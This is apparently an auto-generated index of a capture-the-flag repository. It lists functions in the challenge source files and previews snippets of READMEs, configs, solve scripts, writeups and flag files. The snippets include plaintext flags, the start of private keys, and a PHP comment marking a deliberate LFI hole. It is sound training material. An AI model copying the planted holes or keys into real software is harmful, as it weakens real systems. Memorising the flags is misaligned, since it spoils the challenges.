  function backdoor (line 23) | bool backdoor(const char* backdoor_pw, ...) {
  function authenticate (line 44) | bool authenticate() {
  function main (line 114) | int main() {

FILE: rev/no-strings/challenge/nostrings.c
  function main (line 6) | int main() {

FILE: web/chainreaction/challenge/chainreaction/models.py
  function load_user (line 5) | def load_user(user_id):
  class User (line 8) | class User(db.Model, UserMixin):
  class Messages (line 15) | class Messages(db.Model):
  class Roles (line 22) | class Roles(db.Model):
  class SessionKeys (line 27) | class SessionKeys(db.Model):
  class Reports (line 32) | class Reports(db.Model):

FILE: web/chainreaction/challenge/chainreaction/routes.py
  function login_required (line 27) | def login_required(f):
  function admin_required (line 37) | def admin_required(f):
  function waf (line 47) | def waf(data):
  function index (line 59) | def index():
  function dev (line 66) | def dev():
  function admin (line 71) | def admin():
  function chat (line 75) | def chat():
  function profile (line 82) | def profile(userid):
  function login (line 123) | def login():
  function register (line 144) | def register():
  function logout (line 163) | def logout():
  function home (line 168) | def home():
  function report (line 174) | def report():
  function init (line 183) | def init():

FILE: web/cowboy_world/challenge/app.py
  function db_connection (line 9) | def db_connection():
  function login (line 18) | def login():
  function wow (line 37) | def wow():

FILE: web/ezmail/solve/solve.py
  function send_message (line 29) | def send_message(targets):
  function message_status (line 38) | def message_status(msg_id):
  function message_info (line 45) | def message_info(msg_id):
  function send_and_process_msg (line 52) | def send_and_process_msg(targets):
  function encode (line 61) | def encode(c):
  function guess_character (line 63) | def guess_character(known):

FILE: web/ezmail/src/main.py
  function issue_token (line 33) | def issue_token(user: User) -> str:
  function current_user (line 40) | async def current_user(token: str = Depends(oauth2_scheme)) -> User:
  function index (line 54) | async def index():
  function send_message (line 65) | async def send_message(
  function get_message (line 101) | async def get_message(request: Request, message_id: IdType, current_user...
  function get_message_status (line 109) | async def get_message_status(
  function get_inbox (line 117) | async def get_inbox(request: Request, current_user: User = Depends(curre...
  function get_sendbox (line 128) | async def get_sendbox(request: Request, current_user: User = Depends(cur...
  function get_me (line 133) | async def get_me(current_user: User = Depends(current_user)):
  function get_token (line 139) | async def get_token(request: Request):

FILE: web/ezmail/src/message.py
  function ldap_to_ezmail_id (line 15) | def ldap_to_ezmail_id(user_cns: List[str]) -> Dict[str, IdType]:
  function set_message_processing_status (line 31) | async def set_message_processing_status(message_id: IdType, status: Mess...
  function get_message_processing_status (line 35) | async def get_message_processing_status(message_id: IdType) -> Optional[...
  function send_message (line 40) | async def send_message(message_spec: MessageInfo, identity_provider: Ide...
  function get_message (line 61) | async def get_message(message_id: IdType):
  function get_user_sent (line 66) | async def get_user_sent(user_id: IdType):
  function get_user_recv (line 71) | async def get_user_recv(user_id: IdType):

FILE: web/ezmail/src/models.py
  class IdentityProviders (line 10) | class IdentityProviders(str, enum.Enum):
  class MessageStatus (line 14) | class MessageStatus(str, enum.Enum):
  class UserRole (line 20) | class UserRole(str, enum.Enum):
  class MessageBase (line 25) | class MessageBase(pydantic.BaseModel):
  class MessageToSend (line 30) | class MessageToSend(MessageBase):
  class MessageInfo (line 34) | class MessageInfo(MessageBase):
  class User (line 39) | class User(pydantic.BaseModel):
  class TokenResponse (line 44) | class TokenResponse(pydantic.BaseModel):

FILE: web/farsight/data/1-schema.sql
  type "user" (line 8) | CREATE TABLE "user" (
  type site (line 14) | CREATE TABLE site (
  type page (line 22) | CREATE TABLE page (
  type page_ref (line 29) | CREATE TABLE page_ref (

FILE: web/farsight/frontend/assets/browser.mjs
  class SiteBrowser (line 3) | class SiteBrowser {
    method constructor (line 4) | constructor(siteId) {
    method loadSiteData (line 10) | async loadSiteData() {
    method listPages (line 39) | listPages() {
    method getPage (line 43) | getPage(pageId) {
    method getSite (line 47) | getSite() {

FILE: web/farsight/frontend/assets/index.mjs
  function selectPage (line 114) | function selectPage(pageId) {

FILE: web/farsight/frontend/assets/util.mjs
  function graphql (line 1) | async function graphql(query, params = {}) {
  function getCurrentUser (line 18) | async function getCurrentUser() {
  function selectView (line 39) | function selectView(link) {

FILE: web/farsight/src/app.ts
  type ResolverContext (line 31) | type ResolverContext = {
  function getAuthedUser (line 36) | function getAuthedUser(req: Request): number | undefined {
  function verifyPassword (line 45) | async function verifyPassword(passwordHash: string, password: string): P...
  method me (line 57) | async me(_, __, ctx: ResolverContext) {
  method site (line 62) | async site(_, { id }, ctx: ResolverContext) {
  method loginOrRegister (line 70) | async loginOrRegister(_, { username, password }, ctx: ResolverContext) {
  method newPage (line 84) | async newPage(_, { name, content, siteId }, ctx: ResolverContext) {
  method setSiteConfig (line 92) | async setSiteConfig(_, { config, siteId }, ctx: ResolverContext) {
  method importPage (line 100) | async importPage(_, { pageId, siteId }, ctx: ResolverContext) {
  method sites (line 110) | async sites(parent, _, ctx: ResolverContext) {
  method owner (line 116) | async owner(parent, _, ctx: ResolverContext) {
  method pages (line 121) | async pages(parent, _, ctx: ResolverContext) {
  method ownerSite (line 127) | async ownerSite(parent, _, ctx: ResolverContext) {
  method siteRefs (line 131) | async siteRefs(parent, _, ctx: ResolverContext) {
  method requestDidStart (line 147) | async requestDidStart() {

FILE: web/farsight/src/config.ts
  constant SECRET_KEY (line 3) | const SECRET_KEY = process.env["SECRET_KEY"] || "pqFCx8hMn7t2haovHW38tj-...
  constant RATE_LIMIT_BYPASS (line 4) | const RATE_LIMIT_BYPASS = process.env["RATE_LIMIT_BYPASS"] || "x0vpwHou6...
  constant LISTEN_PORT (line 5) | const LISTEN_PORT = 8000;
  constant SCHEMA_FILE (line 7) | const SCHEMA_FILE = getRelPath("./assets/schema.gql");
  constant FRONTEND_BASE (line 8) | const FRONTEND_BASE = getRelPath("../frontend");
  function getRelPath (line 10) | function getRelPath(asset: string) {

FILE: web/farsight/src/db.ts
  type User (line 3) | type User = {
  type Site (line 8) | type Site = {
  type Page (line 16) | type Page = {
  class Database (line 24) | class Database {
    method constructor (line 26) | constructor(client: PoolClient) {
    method get (line 30) | async get(query: string, args: any[]) {
    method all (line 35) | async all(query: string, args: any[]) {
    method run (line 39) | async run(query: string, args: any[]) {
    method close (line 43) | close() {
    method getHandle (line 47) | static async getHandle() {
  function configFromString (line 52) | function configFromString(configStr: string) {
  function getUserById (line 56) | async function getUserById(db: Database, userId: number): Promise<User |...
  function getSiteById (line 60) | async function getSiteById(db: Database, siteId: number): Promise<Site |...
  function getUserSites (line 71) | async function getUserSites(db: Database, ownerId: number): Promise<Site...
  function getSitePages (line 81) | async function getSitePages(db: Database, siteId: number): Promise<Page[...
  function pageSites (line 93) | async function pageSites(db: Database, pageId: number): Promise<{ owner:...
  function getUserPassword (line 117) | async function getUserPassword(
  function getSiteOwner (line 130) | async function getSiteOwner(db: Database, siteId: number): Promise<User ...
  function makeUser (line 135) | async function makeUser(db: Database, username: string, password: string...
  function makeSite (line 150) | async function makeSite(db: Database, userId: number, name: string): Pro...
  function updateSiteConfig (line 160) | async function updateSiteConfig(db: Database, config: String, siteId: nu...
  function makePage (line 165) | async function makePage(db: Database, name: string, ctnt: string, siteId...
  function importPage (line 175) | async function importPage(db: Database, pageId: number, siteId: number):...

FILE: web/inside-out/challenge/main.py
  function index (line 14) | def index():
  function send_request (line 19) | def send_request():
  function admin (line 86) | def admin():

FILE: web/inside-out/challenge/util.py
  function is_localhost (line 6) | def is_localhost(target):
  function get_title (line 28) | def get_title(html):
  function generate_random_ip (line 39) | def generate_random_ip():

FILE: web/jasons_proxy/proxy.py
  function waf (line 16) | def waf(url):
  class CDNProxy (line 34) | class CDNProxy(SimpleHTTPRequestHandler):
    method do_GET (line 35) | def do_GET(self):

FILE: web/jasons_proxy/web/app.py
  class JSON (line 10) | class JSON(object):
    method __init__ (line 11) | def __init__(self):
    method _forbidden_chk (line 15) | def _forbidden_chk(self, key, value):
    method _checked (line 26) | def _checked(self, key):
    method _security (line 32) | def _security(self, key, value):
    method parse (line 46) | def parse(self, data):
  function get_as_b64 (line 57) | def get_as_b64(img):
  function _index (line 66) | def _index():
  function _app_jason_loader (line 71) | def _app_jason_loader():
  function _flag (line 85) | def _flag():

FILE: web/jwt/challenge/chall.py
  function get_token (line 12) | def get_token():
  function get_flag (line 16) | def get_flag():
  function sauce (line 25) | def sauce():

FILE: web/jwt/solve/solve.py
  function pkcs1_v1_5_encode (line 10) | def pkcs1_v1_5_encode(msg: bytes, n_len: int):
  function get_magic (line 17) | def get_magic(jwt):

FILE: web/notepad/publish/app.py
  function password_hash (line 26) | def password_hash(password: str, *, salt: bytes=None) -> str:
  function password_verify (line 32) | def password_verify(password: str, hashed: str) -> bool:
  function login (line 40) | async def login(username: str, password: str) -> bool:
  function register (line 47) | async def register(username: str, password: str) -> bool:
  function get_user_note (line 55) | async def get_user_note(username: str) -> str:
  function set_user_note (line 59) | async def set_user_note(username: str, note: str):
  function startup (line 63) | async def startup():
  function add_security_headers (line 69) | async def add_security_headers(resp):
  function not_found (line 75) | async def not_found(e):
  function index (line 79) | async def index():
  function robots (line 83) | async def robots():
  function login_ (line 87) | async def login_():
  function register_ (line 104) | async def register_():
  function logout_ (line 121) | async def logout_():
  function me (line 126) | async def me():
  function admin (line 143) | async def admin():
  function report (line 150) | async def report():
  function __stub_admin_login (line 168) | async def __stub_admin_login():

FILE: web/notepad/solve/solve.py
  function server (line 47) | def server():

FILE: web/notepad/src/app.py
  function password_hash (line 28) | def password_hash(password: str, *, salt: bytes=None) -> str:
  function password_verify (line 34) | def password_verify(password: str, hashed: str) -> bool:
  function login (line 42) | async def login(username: str, password: str) -> bool:
  function register (line 49) | async def register(username: str, password: str) -> bool:
  function get_user_note (line 57) | async def get_user_note(username: str) -> str:
  function set_user_note (line 61) | async def set_user_note(username: str, note: str):
  function startup (line 65) | async def startup():
  function add_security_headers (line 71) | async def add_security_headers(resp):
  function not_found (line 77) | async def not_found(e):
  function index (line 81) | async def index():
  function robots (line 85) | async def robots():
  function login_ (line 89) | async def login_():
  function register_ (line 106) | async def register_():
  function logout_ (line 123) | async def logout_():
  function me (line 128) | async def me():
  function admin (line 145) | async def admin():
  function report (line 152) | async def report():
  function marvin_login (line 174) | async def marvin_login():

FILE: web/secret_bin/publish/app.py
  function get_secret (line 11) | async def get_secret(request):
  function create_secret (line 18) | async def create_secret(request):
  function get_stats (line 25) | async def get_stats(request):

FILE: web/secret_bin/publish/secret_manager.py
  function get_secret (line 10) | async def get_secret(secret_id: uuid.UUID):
  function create_secret (line 14) | async def create_secret(secret_content: bytes):
  function get_metadata (line 20) | async def get_metadata():
  function get_past_week_secrets (line 26) | def get_past_week_secrets():
  function make_secret_id (line 31) | def make_secret_id():
  function __stub_generate_uuid1 (line 37) | def __stub_generate_uuid1() -> uuid.UUID:
  function __stub_get_past_week_secret_uuids (line 42) | def __stub_get_past_week_secret_uuids() -> List[uuid.UUID]:
  function __stub_get_uuid_time_as_timestamp (line 47) | def __stub_get_uuid_time_as_timestamp(uuid: uuid.UUID) -> float:

FILE: web/secret_bin/src/app.py
  function get_secret (line 11) | async def get_secret(request):
  function create_secret (line 18) | async def create_secret(request):
  function get_stats (line 25) | async def get_stats(request):

FILE: web/secret_bin/src/secret_manager.py
  function get_secret (line 56) | async def get_secret(secret_id: uuid.UUID):
  function create_secret (line 60) | async def create_secret(secret_content: bytes):
  function get_metadata (line 66) | async def get_metadata():
  function make_secret_id (line 75) | def make_secret_id():

FILE: web/x1337_sk1d_r3p0rt3r/challenge/web/app.py
  class LoginForm (line 18) | class LoginForm(FlaskForm):
  class RegisterForm (line 23) | class RegisterForm(FlaskForm):
  class ReportForm (line 28) | class ReportForm(FlaskForm):
  class EditForm (line 32) | class EditForm(FlaskForm):
  class Reports (line 54) | class Reports(db.Model):
  class User (line 63) | class User(UserMixin, db.Model):
    method is_active (line 71) | def is_active(self):
    method get_id (line 74) | def get_id(self):
    method get_username (line 77) | def get_username(self):
    method get_privs (line 80) | def get_privs(self):
    method is_authenticated (line 83) | def is_authenticated(self):
    method is_anonymous (line 86) | def is_anonymous(self):
  class Anonymous (line 89) | class Anonymous(AnonymousUserMixin):
    method is_active (line 90) | def is_active(self):
    method is_authenticated (line 93) | def is_authenticated(self):
    method is_anonymous (line 96) | def is_anonymous(self):
  function authenticate (line 99) | def authenticate(user,pw):
  function load_user (line 110) | def load_user(user_id):
  function _unauthorized (line 119) | def _unauthorized(e):
  function _methoderror (line 123) | def _methoderror(e):
  function _index (line 128) | def _index():
  function _login (line 133) | def _login():
  function _register (line 154) | def _register():
  function _dashboard (line 180) | def _dashboard():
  function _edit (line 188) | def _edit():
  function _report (line 204) | def _report():
  function _send2admin (line 221) | def _send2admin(id):
  function _view_report (line 240) | def _view_report(id):
  function _logout (line 252) | def _logout():

FILE: web/x1337_sk1d_r3p0rt3r/challenge/web/create_db.py
  class User (line 17) | class User(db.Model):
  class Reports (line 25) | class Reports(db.Model):
  function create_admin (line 36) | def create_admin(user, flag, db):

FILE: web/zap/solve/shell.py
  function run_command (line 5) | def run_command(cmd):

FILE: web/zap/solve/solve.py
  function run_command (line 5) | def run_command(cmd):

FILE: web/zap/src/app.js
  constant UPLOAD_DIR (line 9) | const UPLOAD_DIR = process.env.UPLOAD_DIR ?? "/tmp";
  constant ZIP_OPTS (line 10) | const ZIP_OPTS = JSON.parse(process.env.ZIP_OPTS ?? '{"executable":"zip"...
  function zip (line 13) | function zip(infile, outfile, extra_opts) {
  function tryRm (line 41) | function tryRm(file) {
  function abort (line 63) | function abort(status) {
Condensed preview — 570 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (3,258K chars).
[
  {
    "path": "README.md",
    "chars": 9252,
    "preview": "# cloud\n|                  Challenge                  |   Author   | Difficulty | Release Round |\n| --------------------"
  },
  {
    "path": "cloud/bad-bucket/.gitignore",
    "chars": 134,
    "preview": "terraform/.terraform.lock.hcl\nterraform/terraform\nterraform/.terraform\nterraform/terraform.tfstate\nterraform/terraform.t"
  },
  {
    "path": "cloud/bad-bucket/README.md",
    "chars": 361,
    "preview": "# Bad Bucket\n\n**Creator:** Blue Alder\n\n**Category:** cloud\n\n**Difficulty:** easy\n\n## Flavortext\n\nAw yea have you guys SE"
  },
  {
    "path": "cloud/bad-bucket/challenge.yml",
    "chars": 441,
    "preview": "version: \"0.1\"\nid: bad-bucket\nname: Bad Bucket\ncategory: cloud\ndescription: >\n  Aw yea have you guys SEEN my new website"
  },
  {
    "path": "cloud/bad-bucket/solution.md",
    "chars": 973,
    "preview": "# Bad Bucket\n\nSo this was an easy challenge about basic bucket permissions. We are presented with a url as an entry poin"
  },
  {
    "path": "cloud/bad-bucket/src/buckets/.notaflag",
    "chars": 158,
    "preview": "THIS IS A SECRET FILE THAT SHOULD NOT BE SHARED UNDER ANY CIRCUMSTANCE \n\njk heres the flag good job!\n\nDUCTF{if_you_are_b"
  },
  {
    "path": "cloud/bad-bucket/src/index.html",
    "chars": 1790,
    "preview": "<!DOCTYPE html>\n\n<html>\n    <head>\n        <title>Cloud Time</title>\n        <link href=\"https://cdn.jsdelivr.net/npm/bo"
  },
  {
    "path": "cloud/bad-bucket/terraform/terraform.tf",
    "chars": 2052,
    "preview": "provider \"google\" {\n  project = var.project_id\n  region  = \"australia-southeast1\"\n  zone    = \"australia-southeast1-b\"\n}"
  },
  {
    "path": "cloud/bad-bucket/terraform/terraform.tfvars",
    "chars": 101,
    "preview": "project_id = \"ductf-bad-bucket\" # Update: Desired project name.\n\nbucket_name = \"the-bad-bucket-ductf\""
  },
  {
    "path": "cloud/bad-bucket/terraform/variables.tf",
    "chars": 170,
    "preview": "variable \"project_id\" {\n  description = \"GCP Project id\"\n  type        = string\n}\n\nvariable \"bucket_name\" {\n  descriptio"
  },
  {
    "path": "cloud/lost-n-found/README.md",
    "chars": 431,
    "preview": "# Lost n Found\n\n**Author:** Blue Alder\n\n**Difficulty:** Medium\n\n## Flavor Text\n\nFound this service account key after the"
  },
  {
    "path": "cloud/lost-n-found/challenge.yml",
    "chars": 503,
    "preview": "version: \"0.1\"\nid: lost-n-found\nname: Lost n Found\ncategory: cloud\ndescription: |\n  Found this service account key after"
  },
  {
    "path": "cloud/lost-n-found/solution.md",
    "chars": 11075,
    "preview": "# Solution\n\nSo this challenge was all about enumeration and finding what you can do with an old service account key that"
  },
  {
    "path": "cloud/lost-n-found/src/enum_script/gcp_enum.sh",
    "chars": 6704,
    "preview": "#!/bin/bash\n\n###############################################################################\n# GCP enumeration script by"
  },
  {
    "path": "cloud/lost-n-found/src/flag.txt",
    "chars": 61,
    "preview": "DUCTF{its_time_to_clean_up_your_service_account_permissions!}"
  },
  {
    "path": "cloud/lost-n-found/src/legacy.json",
    "chars": 2345,
    "preview": "{\n  \"type\": \"service_account\",\n  \"project_id\": \"ductf-lost-n-found\",\n  \"private_key_id\": \"204a0a9969f97549e646f592d1732f"
  },
  {
    "path": "cloud/lost-n-found/src/setup.sh",
    "chars": 3558,
    "preview": "#!/bin/bash\n\nSERVICE_ACCOUNT_NAME=legacy-svc-account\nPROJECT_NAME=ductf-lost-n-found\n\ngcloud config set project ${PROJEC"
  },
  {
    "path": "cloud/notasbadbucket/README.md",
    "chars": 618,
    "preview": "# Not as Bad Bucket\n\n**Creator:** Blue Alder\n\n**Category:** cloud\n\n**Difficulty:** easy\n\n## Flavortext\n\nOkay fine I admi"
  },
  {
    "path": "cloud/notasbadbucket/challenge.yml",
    "chars": 499,
    "preview": "version: \"0.1\"\nid: not-as-bad-bucket\nname: Not as Bad Bucket\ncategory: cloud\ndescription: >\n  Okay fine I admit it, we d"
  },
  {
    "path": "cloud/notasbadbucket/solution.md",
    "chars": 1479,
    "preview": "# Not as Bad Bucket\n\nThis was a semi-sequel to Bad Bucket but you could do both individually. We are again presented wit"
  },
  {
    "path": "cloud/notasbadbucket/src/index.html",
    "chars": 1432,
    "preview": "<!DOCTYPE html>\n\n<html>\n    <head>\n        <title>Cloud Time!</title>\n        <link href=\"https://cdn.jsdelivr.net/npm/b"
  },
  {
    "path": "cloud/notasbadbucket/src/pics/flag.txt",
    "chars": 66,
    "preview": "DUCTF{all_AUTHENTICATED_users_means_ALL_AUTHENTICATED_USERS_silly}"
  },
  {
    "path": "cloud/notasbadbucket/terraform/.gitignore",
    "chars": 73,
    "preview": ".terraform\n.terraform.lock.hcl\nterraform.tfstate\nterraform.tfstate.backup"
  },
  {
    "path": "cloud/notasbadbucket/terraform/terraform.tf",
    "chars": 1345,
    "preview": "provider \"google\" {\n  project = var.project_id\n  region  = \"australia-southeast1\"\n  zone    = \"australia-southeast1-b\"\n}"
  },
  {
    "path": "cloud/notasbadbucket/terraform/terraform.tfvars",
    "chars": 112,
    "preview": "project_id = \"ductf-not-as-bad-bucket\" # Update: Desired project name.\n\nbucket_name = \"ductf-not-as-bad-ductf\" \n"
  },
  {
    "path": "cloud/notasbadbucket/terraform/variables.tf",
    "chars": 169,
    "preview": "variable \"project_id\" {\n  description = \"GCP Project id\"\n  type        = string\n}\n\nvariable \"bucket_name\" {\n  descriptio"
  },
  {
    "path": "cloud/whale_blog/README.md",
    "chars": 625,
    "preview": "# Whale Blog\n\n**Creator:** Blue Alder\n\n**Category:** cloud\n\n**Difficulty:** medium\n\n## Flavortext\n\nYou're probably think"
  },
  {
    "path": "cloud/whale_blog/challenge.yml",
    "chars": 486,
    "preview": "version: \"0.1\"\nid: whale-blog\nname: Whale Blog\ncategory: cloud\ndescription: >\n  You're probably thinking, oh wow here is"
  },
  {
    "path": "cloud/whale_blog/setup.sh",
    "chars": 2234,
    "preview": "#!/bin/bash\n\n# Run this script to set up the challenge, update the below variables to what you like\n\nPROJECT_NAME=clouds"
  },
  {
    "path": "cloud/whale_blog/solution.md",
    "chars": 6504,
    "preview": "# Whale Blog\n\n!NOTE Some of these IP addresses/domains may be different to the ones used in the actual CTF.\n\nThis was a "
  },
  {
    "path": "cloud/whale_blog/src/Dockerfile",
    "chars": 86,
    "preview": "FROM php:apache\n\n\n# Copy website\nRUN rm -rf /var/www/html/*\nADD web/* /var/www/html/\n\n"
  },
  {
    "path": "cloud/whale_blog/src/config.yaml",
    "chars": 1401,
    "preview": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: {{CONTAINER_NAME}} # REPLACE challenge-name and challenge-categor"
  },
  {
    "path": "cloud/whale_blog/src/permission.yaml",
    "chars": 729,
    "preview": "# This is to set up the RBAC for accessing secrets as the default service account in the default namespace.\n\napiVersion:"
  },
  {
    "path": "cloud/whale_blog/src/web/index.php",
    "chars": 5208,
    "preview": "<!-- <?php\n      // Simple LFI here, not meant to be a major blocker to the challenge\n      $file = $_GET[\"page\"];\n     "
  },
  {
    "path": "cloud/whale_blog/src/web/page1",
    "chars": 12,
    "preview": "Try Harder!\n"
  },
  {
    "path": "cloud/whale_blog/src/web/page2",
    "chars": 13,
    "preview": "Hello World!\n"
  },
  {
    "path": "crypto/1337crypt-v2/README.md",
    "chars": 456,
    "preview": "# 1337crypt v2\n\n**Category:** crypto\n\n**Difficulty:** hard\n\n**Author:** joseph#8210\n\n[1337crypt](https://github.com/Down"
  },
  {
    "path": "crypto/1337crypt-v2/challenge/1337crypt-v2.sage",
    "chars": 606,
    "preview": "from Crypto.Util.number import getPrime, bytes_to_long\n\nflag = open('flag.txt', 'rb').read().strip()\n\np, q = getPrime(13"
  },
  {
    "path": "crypto/1337crypt-v2/challenge/flag.txt",
    "chars": 40,
    "preview": "DUCTF{mantissa_in_crypto??_n0_th4nks!!}\n"
  },
  {
    "path": "crypto/1337crypt-v2/challenge/output.txt",
    "chars": 7285,
    "preview": "hint1 = 9474114456792673515431877947943819508105969635542281515830563486137327168661333703401850605206493227243522275742"
  },
  {
    "path": "crypto/1337crypt-v2/challenge.yml",
    "chars": 387,
    "preview": "version: \"0.1\"\nid: 1337crypt-v2\nname: 1337crypt v2\ncategory: crypto\ndescription: |\n  [1337crypt](https://github.com/Down"
  },
  {
    "path": "crypto/1337crypt-v2/solve/solve.sage",
    "chars": 780,
    "preview": "from Crypto.Util.number import long_to_bytes\n\nexec(open('../challenge/output.txt').read()) # hint1, hint2, c\n\nnbits = 13"
  },
  {
    "path": "crypto/1337crypt-v2/solve/writeup.ipynb",
    "chars": 12790,
    "preview": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"3ebec137\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Challenge Ov"
  },
  {
    "path": "crypto/1337crypt-v2/solve/writeup.md",
    "chars": 10404,
    "preview": "# Challenge Overview\n\nThe challenge claims to be a more complex version of [1337crypt](https://jsur.in/posts/2020-09-20-"
  },
  {
    "path": "crypto/aes-ecb/Dockerfile",
    "chars": 221,
    "preview": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04\n\nRUN pip install pycryptodome\n\nCOPY ./challenge/flag.txt /ho"
  },
  {
    "path": "crypto/aes-ecb/README.md",
    "chars": 232,
    "preview": "# Easily Can Break\n\n**Category:** crypto\n\n**Difficulty:** easy\n\n**Author:** 2keebs\n\nAES encryption challenge.\n\n**Attache"
  },
  {
    "path": "crypto/aes-ecb/challenge/aes-ecb.py",
    "chars": 667,
    "preview": "#!/usr/bin/python3\nimport sys\nimport os\nfrom Crypto.Cipher import AES\nfrom base64 import b64encode\n\nbs = 16 # blocksize\n"
  },
  {
    "path": "crypto/aes-ecb/challenge/flag.txt",
    "chars": 33,
    "preview": "DUCTF{ECB_M0DE_K3YP4D_D474_L34k}\n"
  },
  {
    "path": "crypto/aes-ecb/challenge/key.txt",
    "chars": 16,
    "preview": "!_SECRETSOURCE_!"
  },
  {
    "path": "crypto/aes-ecb/challenge.yml",
    "chars": 254,
    "preview": "version: \"0.1\"\nid: aes-ecb\nname: Break Me!\ncategory: crypto\ndescription: |\n  AES encryption challenge.\n\n  Author: 2keebs"
  },
  {
    "path": "crypto/aes-ecb/solve/requirements.txt",
    "chars": 41,
    "preview": "pwntools == 4.3.1\npycryptodomex == 3.9.7\n"
  },
  {
    "path": "crypto/aes-ecb/solve/solution.py",
    "chars": 1130,
    "preview": "#!/usr/bin/python3\n\nfrom Crypto.Cipher import AES\nfrom pwn import *\nfrom base64 import b64decode\n\nif len(sys.argv) != 3:"
  },
  {
    "path": "crypto/aes-ecb/solve/writeup.md",
    "chars": 3281,
    "preview": "# Easily Can Break\n\n## Discovering the Vulnerability\n\nThe included server code shows `AES-128-ECB` encryption oracle usi"
  },
  {
    "path": "crypto/otwhat-1/Dockerfile",
    "chars": 173,
    "preview": "FROM tiangolo/uwsgi-nginx-flask:python3.8\n\nENV LISTEN_PORT 1337\n\nEXPOSE 1337\n\nRUN pip3 install pycryptodome\n\nCOPY challe"
  },
  {
    "path": "crypto/otwhat-1/README.md",
    "chars": 407,
    "preview": "# OTWhat 1\n\n**Category:** Crypto\n\n**Difficulty:** Easy\n\n**Author:** nullableVoid\\*#7225\n\nWe found this exposed IoT thing"
  },
  {
    "path": "crypto/otwhat-1/challenge/app/main.py",
    "chars": 3126,
    "preview": "from flask import Flask, request, redirect, url_for\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Hash import SHA3_512\nfr"
  },
  {
    "path": "crypto/otwhat-1/challenge/app/rsa.key",
    "chars": 3243,
    "preview": "-----BEGIN RSA PRIVATE KEY-----\nMIIJJwIBAAKCAgEAnY2iYEzs6ZslxMlk80yofcrI9uYWXFOvvLIrpCCBEpdbQhaP\nYtR45brYwtFS8ll9FLsPJRU"
  },
  {
    "path": "crypto/otwhat-1/challenge.yml",
    "chars": 541,
    "preview": "version: \"0.1\"\nid: otwhat-1\nname: OTWhat 1\ncategory: crypto\ndescription: |\n  We found this exposed IoT thing. It doesn't"
  },
  {
    "path": "crypto/otwhat-1/solve/solve.py",
    "chars": 909,
    "preview": "import sys\nimport requests\nimport re\nimport random\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Hash import SHA3_512\nfro"
  },
  {
    "path": "crypto/otwhat-1/solve/writeup.md",
    "chars": 1416,
    "preview": "As the flag shows, this is a known signing failure of early versions of the Wii software.\n\nThe first mistake is the use "
  },
  {
    "path": "crypto/otwhat-2/Dockerfile",
    "chars": 214,
    "preview": "FROM tiangolo/uwsgi-nginx-flask:python3.8\n\nENV LISTEN_PORT 1337\n\nEXPOSE 1337\n\nRUN pip3 install pycryptodome\n\nCOPY challe"
  },
  {
    "path": "crypto/otwhat-2/README.md",
    "chars": 570,
    "preview": "# OTWhat 2\n\n**Category:** Crypto\n\n**Difficulty:** Medium\n\n**Author:** nullableVoid\\*#7225\n\n\"We have been notified by our"
  },
  {
    "path": "crypto/otwhat-2/challenge/app/main.py",
    "chars": 2645,
    "preview": "from flask import Flask, request, redirect, url_for\nfrom Crypto.PublicKey import ECC\nfrom Crypto.Signature import DSS\nfr"
  },
  {
    "path": "crypto/otwhat-2/challenge/app/secp256r1.key",
    "chars": 227,
    "preview": "-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIN4TO0+AfeX2d4OnxsG863ibIWVtwtjWdlmTChJQnSkToAoGCCqGSM49\nAwEHoUQDQgAEaSLgjOOtncCt"
  },
  {
    "path": "crypto/otwhat-2/challenge/app/update.log",
    "chars": 2976,
    "preview": "https://GOODCODE/update/abcd0b64039c6eff5a1cbf50f24eb6c62f25f8f39da28fdc112433b93ada6018 MEUCIQDygJ+KOWKxMIomSm4ejoR75yQ"
  },
  {
    "path": "crypto/otwhat-2/challenge/generate_audit.py",
    "chars": 1140,
    "preview": "from Crypto.PublicKey import ECC\nfrom Crypto.Hash import SHA3_512\nfrom Crypto.Signature import DSS\nfrom Crypto.Util impo"
  },
  {
    "path": "crypto/otwhat-2/challenge.yml",
    "chars": 691,
    "preview": "version: \"0.1\"\nid: otwhat-2\nname: OTWhat 2\ncategory: crypto\ndescription: |\n  \"We have been notified by our customers tha"
  },
  {
    "path": "crypto/otwhat-2/solve/solve.py",
    "chars": 1631,
    "preview": "import sys\nimport requests\nimport re\nfrom bs4 import BeautifulSoup\nimport base64\nfrom Crypto.Hash import SHA3_512\nfrom C"
  },
  {
    "path": "crypto/otwhat-2/solve/writeup.md",
    "chars": 1447,
    "preview": "As the flag heavily references the OG talk, this is a known cryptographic failure of PS3 signed software, with the use o"
  },
  {
    "path": "crypto/power-sign/Dockerfile",
    "chars": 386,
    "preview": "FROM sagemath/sagemath:9.1\n\nENV DEBIAN_FRONTEND=noninteractive\nRUN sudo apt-get update \\\n    && sudo apt-get install -y "
  },
  {
    "path": "crypto/power-sign/README.md",
    "chars": 262,
    "preview": "# power sign\n\n**Category:** crypto\n\n**Difficulty:** hard\n\n**Author:** joseph#8210\n\nYou know the drill. Forge a signature"
  },
  {
    "path": "crypto/power-sign/challenge/flag.txt",
    "chars": 52,
    "preview": "DUCTF{lets_us3_a_pr0p3r_h4sh_function_n3xt_t1me...}\n"
  },
  {
    "path": "crypto/power-sign/challenge/power-sign.sage",
    "chars": 1984,
    "preview": "#!/usr/bin/env sage\n\nproof.arithmetic(False) # just makes things faster\n\ndef get_3m4_prime(N):\n    while True:\n        p"
  },
  {
    "path": "crypto/power-sign/challenge.yml",
    "chars": 315,
    "preview": "version: \"0.1\"\nid: power-sign\nname: power sign\ncategory: crypto\ndescription: >\n  You know the drill. Forge a signature, "
  },
  {
    "path": "crypto/power-sign/docker-compose.yml",
    "chars": 137,
    "preview": "version: '3'\nservices:\n  power-sign: # challenge name\n    build: .\n    ports:\n      - \"1337:1337\" # local:container\n    "
  },
  {
    "path": "crypto/power-sign/solve/solv.sage",
    "chars": 1676,
    "preview": "import os\nos.environ['PWNLIB_NOTERM'] = 'True'\nfrom pwn import *\nfrom parse import parse\n\nproof.arithmetic(False)\n\ndef H"
  },
  {
    "path": "crypto/power-sign/solve/writeup.ipynb",
    "chars": 14174,
